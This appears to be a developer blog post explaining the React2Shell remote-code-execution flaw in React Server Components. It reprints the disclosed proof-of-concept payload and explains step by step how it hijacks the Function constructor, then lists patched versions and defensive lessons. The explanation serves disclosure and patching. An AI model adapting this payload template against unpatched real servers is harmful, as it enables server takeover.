VOOZH about

URL: https://blog.logrocket.com/react2shell-exploit/

⇱ React2Shell exploit: What happened and lessons learned - LogRocket Blog


2025-12-17
1896
#react
Shruti Kapoor
210370
116
👁 Image

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

On December 3, 2025, a critical vulnerability in React Server Components shocked the web development community. React2Shell (CVE-2025-55182) was disclosed with a CVSS score of 10.0, which is the maximum score for a vulnerability. The bug allowed remote code execution (RCE) on any server running React Server Components (RSC). Within hours of disclosure, Chinese state-sponsored groups and cryptomining operations began exploiting vulnerable servers in the wild.

👁 react 2 shell vulnerability shruti kapoor

This post breaks down what happened, why it happened, and how a subtle design decision in the React Flight protocol turned into one of the most serious React vulnerabilities of 2025.

We’ll also discuss how to protect yourself and how the vulnerability underscores critical security principles.

🚀 Sign up for The Replay newsletter

The Replay is a weekly newsletter for dev and engineering leaders.

Delivered once a week, it's your curated guide to the most important conversations around frontend dev, emerging AI tools, and the state of modern software.

What is the React2Shell exploit?

At its core, React2Shell is a deserialization bug in how React Server Components reconstruct server data from a Flight payload. Because of improper deserialization of React server components from data payloads, anybody could execute malicious code on the server and achieve Remote Code Execution (RCE), leading to a level 10 security vulnerability.

The proof of concept

The vulnerability was demonstrated by Lachlan Davidson, who submitted the following payload:

const payload = {
 '0': '$1',
 '1': {
 'status':'resolved_model',
 'reason':0,
 '_response':'$4',
 'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
 'then':'$2:then'
 },
 '2': '$@3',
 '3': [],
 '4': {
 '_prefix':'console.log(7*7+1)//',
 '_formData':{
 'get':'$3:constructor:constructor'
 },
 '_chunks':'$2:_response:_chunks',
 }
}

Let’s break down the POC submitted by Davidson to understand what went wrong.

To understand this, let’s first have a quick overview of React Server Components and React Flight

Background: React Server Components and React Flight

Traditionally, web apps had two choices:

  1. Server-side rendering: Render HTML on the server, send complete pages
  2. Client-side rendering: Send JavaScript bundles, render everything in the browser

React Server Components introduced a third option:

  • Render components on the server (with access to databases, file systems, secret keys)
  • Serialize the component tree into a compact format using React Flight protocol
  • Stream it to the client without shipping large JavaScript bundles
  • Client “hydrates” the component tree and makes it interactive

This is great, because it has the advantages of both client-side and server-side rendering:

  • Heavy computations (markdown parsing, data processing) can be done on the server
  • Reduces client bundle size since less JavaScript needs to be shipped
  • Data can be progressively streamed to the client as it is ready, thereby improving perceived performance by the user

All of this is powered by a new protocol built for React Server Components called React Flight.

React Flight

React Flight is the wire protocol behind Server Components. It serializes React components into a compact, streamable format.

Since React Server Components can stream data from the server to the client back and forth and send promises, the current implementation of JSON does not allow for this. Therefore, a new protocol called React Flight had to be invented by the React team for React Server Components.

With the help of React Flight, React can send data back and forth between server and client in what are called “chunks.” The data looks like an array of values represented by what looks like stringified data:

1:HL["/_next/static/css/4470f08e3eb345de.css",{"as":"style"}]
0:"$L2"
3:HL["/_next/static/css/b206048fcfbdc57f.css",{"as":"style"}]
4:I{"id":2353,"chunks":["2272:static/chunks/webpack-38ffa19a52cf40c2.js","9253:static/chunks/bce60fc1-ce957b73f2bc7fa3.js","7698:static/chunks/7698-762150c950ff271f.js"],"name":"default","async":false}
...

What it is

  • It is a compact string representation of the virtual DOM, with abbreviations, internal references, and characters with encoded special meaning
  • Lines are separated with a \\n, so this is a line-based format, not JSON.
  • The content is actually split into chunks in the source and pushed into an array inside script tags.
  • Each line is in the format “ID:TYPE?JSON”

How it works

  • We can pre-generate content on the server by invoking renderToPipeableStream to serialize a component.
  • Output is split into chunks.
  • Chunks reference each other using compact string tokens.
  • Promises can be streamed and resolved incrementally.
  • Content is deserialized on the client using createFromFetch, which returns a valid JSX:
👁 Content is deserialized on the client using createFromFetch which returns a valid JSX
Source: https://gitnation.com/contents/meet-react-flight-and-become-a-rsc-expert

Example


Over 200k developers use LogRocket to create better digital experiences

👁 Image
Learn more →

Let’s say you have a basic blog post component:

// BlogPost.server.js (Server Component)
async function BlogPost({ id }) {
 // This runs only on the server
 const post = await db.query('SELECT * FROM posts WHERE id = ?', [id]);
 
 return (
 <article>
 <h1>{post.title}</h1>
 <p>By {post.author}</p>
 <div>{post.content}</div>
 </article>
 );
}

export default BlogPost;

It gets converted to React Flight protocol:

M1:{"id":"./src/BlogPost.server.js","chunks":[],"name":""}
J0:["$","article",null,{"children":[["$","h1",null,{"children":"Getting Started with RSC"}],["$","p",null,{"children":"By Alice"}],["$","div",null,{"children":"React Server Components are a new way to build React apps..."}]]}],

Let me break down what this means:

Line 1: M1:...

  • M = Module reference
  • 1 = ID for this module
  • The JSON contains metadata about the server component module

Line 2: J0:...

  • J = JSON chunk
  • 0 = Root component ID
  • The array describes the React element tree:
    • "$" = Special marker for React elements
    • "article" = Element type
    • null = Key
    • The object contains props, including children array

What makes React Flight powerful is that it supports advanced features like:

  • Streaming server components
  • Serializing promises
  • Referencing server‑only values (functions, blobs)

That power is exactly what made this exploit possible!

React2Shell exploit

The exploit abuses these mechanisms to:

  • Inject a fake Promise
  • Hijack React’s internal then logic
  • Exploit the Function() constructor into execution
  • Run attacker‑controlled JavaScript on the server, causing Remote Code Execution (RCE)

The full execution flow

Let’s break down the POC step by step. This is the POC that was submitted:

const payload = {
 '0': '$1',
 '1': {
 'status':'resolved_model',
 'reason':0,
 '_response':'$4',
 'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
 'then':'$2:then'
 },
 '2': '$@3',
 '3': [],
 '4': {
 '_prefix':'console.log(7*7+1)//',
 '_formData':{
 'get':'$3:constructor:constructor'
 },
 '_chunks':'$2:_response:_chunks',
 }
},

Step 1: React processes chunk 0 (entry point)

"0": "$1" // React starts here, references chunk 1

React starts deserializing at chunk 0, which simply references chunk 1.

Step 2: React processes chunk 1 aka The fake promise

"1": {
 "status": "resolved_model",
 "reason": 0,
 "_response": "$4",
 "value": "{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}",
 "then": "$2:then"
}

This object is carefully shaped to look like a resolved Promise.

In JavaScript, any object with a then property is treated as a thenable and gets treated like a Promise.

React sees this and thinks: “This is a promise, I should call its then method”

This is where the exploit starts!

Step 3: React resolves the first then

"then": "$2:then" // "Get chunk 2, then access its 'then' property"

Step 4: Look up chunk 2

The next bit of code is actually tricky:

"2": "$@3",
"3": []

React resolves it this way:

  1. Look up chunk 2 → '$@3'
  2. $@3 is a “self-reference” which means it references itself and returns it’s own a.k.a chunk 3’s wrapper object. This is the crucial part!

The chunk wrapper object looks like this:

{
 "value": [],
 "then": "function(resolve, reject) { ... }",
 "_response": { ... }
}

Note that the chunk wrapper object has a .then method, which is called when $2:then is called.

Step 5: Access the .then property of that wrapper

The .then function of chunk 1 is assigned to chunk 3’s wrapper’s then:

 "then": "$2:then" // chunk3_wrapper.then

This is React’s internal code and looks like this:

function chunkThen(resolve, reject) {
 // 'this' is now chunk 1 (the malicious object)
 
 if (this.status === 'resolved_model') {
 // Process the value
 var value = JSON.parse(this.value); // Parse the JSON string
 
 // Resolve references in the value using this._response
 var resolved = reviveModel(this._response, value);
 
 resolve(resolved);
 }
}

Notice how it checks if status === 'resolved_model, which the attacker has been able to set maliciously by providing the following object in chunk 1:

{
 "1": {
 "status": "resolved_model",
 "reason": 0,
 "_response": "$4",
 "value": "{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}",
 "then": "$2:then"
 }
}

Step 6: Execute the then block

This causes code execution of chunk 1, and the following code runs:

var value = JSON.parse(this.value); // {"then":"$3:map","0":{"then":"$B3"},"length":1}

Key details:

  • this.status → Attacker‑controlled
  • this.value → Attacker‑controlled JSON
  • this._response → Points to chunk 4

Step 7: Process the response

The following line of code is called with chunk 4, and the stringified JSON from Step 6:

var resolved = reviveModel(this._response, value);
{
 "4": {
 "_prefix": "console.log(7*7+1)//",
 "_formData": {
 "get": "$3:constructor:constructor"
 },
 "_chunks": "$2:_response:_chunks"
 }
}
{
 "then": "$3:map",
 "0": {
 "then": "$B3"
 },
 "length": 1
}

This looks like a recursive then block, and React now starts resolving references inside value.

One of them is:

$B3

Step 8: Blob resolution abuse

The B prefix is a blob, which is a special reference type used to serialize non-serializable values like:

  • Functions
  • Symbols
  • File objects
  • Other complex objects that can’t be JSON-stringified

Internally, React resolves blobs like this:

return response._formData.get(response._prefix + blobId)

Which the attacker has been able to substitute their own values:

  • _formData.get'$3:constructor:constructor'[].constructor.constructorFunction
  • _prefix'console.log(7*7+1)//'

React effectively executes:

Function('console.log(7*7+1)//3')

This is the kill shot!

By effectively overriding object properties, an attacker is able to execute malicious code!

A clever trick here to prevent errors is the comment following the console.log in the following line:



console.log(7*7+1)//

Without this, the code:

return response._formData.get(response._prefix + blobId);

Would execute:

Function(console.log(7*7+1)3) // Syntax error! '3' is invalid

With the comment //, it causes no error:

'_prefix': 'console.log(7*7+1)//'

Function(console.log(7*7+1) //3) // 3 is now inside a comment so ignored! 🤯

This is an extremely clever exploit!

Not gonna lie, this hurt my brain!

In short

The attacker:

  • Sneaks Function() constructor into the Blob registry via the gadget
  • References it via $B3 in the promise chain
  • Tricks the deserializer into calling it with attacker-controlled code
👁 wiz graphic showing flowchart of react 2 shell
Source: https://www.wiz.io/blog/nextjs-cve-2025-55182-react2shell-deep-dive

Who is affected?

If you’re using React Server Components, you’re affected. This includes popular frameworks:

  • Next.js (App Router with RSC)
  • Redwood
  • Waku
  • Any custom setup using react-server-dom-webpack or similar packages

The vulnerability is present in versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:

Two other exploits were reported

Two other vulnerabilities were reported alongside React2Shell:

  1. Denial of Service (DoS): Chaining then calls recursively could crash the server through Stack Overflow.
  2. Secret Exposure: Exploiting React’s internal structures could leak private server-side secrets.

Fix for the exploit

🔥 YOU MUST UPDATE NOW! 🔥

The React team deployed an emergency patch to fix this. The main fix adds strict ownership checks using hasOwnProperty to prevent prototype chain walking and validates internal references to prevent hijacking.

If you are using versions 19.0.0, 19.0.1, 19.0.2, 19.1.0, 19.1.1, 19.1.2, 19.2.0, 19.2.1 and 19.2.2 of:

You must update immediately to:

  • [email protected], 19.1.4, or 19.2.3.
  • Framework-specific patches
    • Next.js
      • 15.0.5
      • 15.1.9
      • 15.2.6
      • 15.3.6
      • 15.4.8
      • 15.5.7
      • 16.0.7

Check your dependencies: npm list react react-dom

Note that even apps not explicitly using Server Functions can be vulnerable if they support RSC

Read the official blog post for updated information, or check framework specific blog.

Lessons learned from the React2Shell exploit

This vulnerability reinforces critical security principles:

  1. Never trust user input: Even seemingly benign JSON can be weaponized.
  2. Validate deserialized data: Check object shapes and property ownership.
  3. Principle of least privilege: Don’t expose internal prototype chains.
  4. Defense in depth: Multiple validation layers prevent single points of failure.

Conclusion

Update your React dependencies. Now.

Thanks to Lachlan Davidson for the responsible disclosure and detailed proof of concept.

Get set up with LogRocket's modern React error tracking in minutes:

  1. Visit https://logrocket.com/signup/ to get an app ID
  2. Install LogRocket via npm or script tag. LogRocket.init() must be called client-side, not server-side

    $ npm i --save logrocket 
    
    // Code:
    
    import LogRocket from 'logrocket'; 
    LogRocket.init('app/id');
     
    // Add to your HTML:
    
    <script src="https://cdn.lr-ingest.com/LogRocket.min.js"></script>
    <script>window.LogRocket && window.LogRocket.init('app/id');</script>
     
  3. (Optional) Install plugins for deeper integrations with your stack:
    • Redux middleware
    • NgRx middleware
    • Vuex plugin
Get started now
👁 Image
👁 Image
👁 Image

Stop guessing about your digital experience with LogRocket

Get started for free

Recent posts:

What is TSRX?: What JSX would look like if it were designed today

TSRX adds first-class control flow, conditional hooks, and scoped styles to React via a TypeScript compiler extension — no new framework required.

👁 Image
Ikeh Akinyemi
Jun 12, 2026 ⋅ 6 min read

How to add authentication to a React Native app with Better Auth

Learn how to build a full React Native auth system using Better Auth and Expo — with email/password login, Google OAuth, session persistence, and protected routes.

👁 Image
Chinwike Maduabuchi
Jun 9, 2026 ⋅ 13 min read

AI dev tool power rankings & comparison [June 2026]

Compare the top AI development tools and models of June 2026. View updated rankings, feature breakdowns, and find the best fit for you.

👁 Image
Chizaram Ken
Jun 8, 2026 ⋅ 11 min read

How to check username availability at scale with Bloom filters

Learn how Bloom filters reduce database lookups for username availability checks while preserving correctness at scale.

👁 Image
Rosario De Chiara
Jun 8, 2026 ⋅ 6 min read
View all posts

Would you be interested in joining LogRocket's developer community?

Join LogRocket’s Content Advisory Board. You’ll help inform the type of content we create and get access to exclusive meetups, social accreditation, and swag.

Sign up now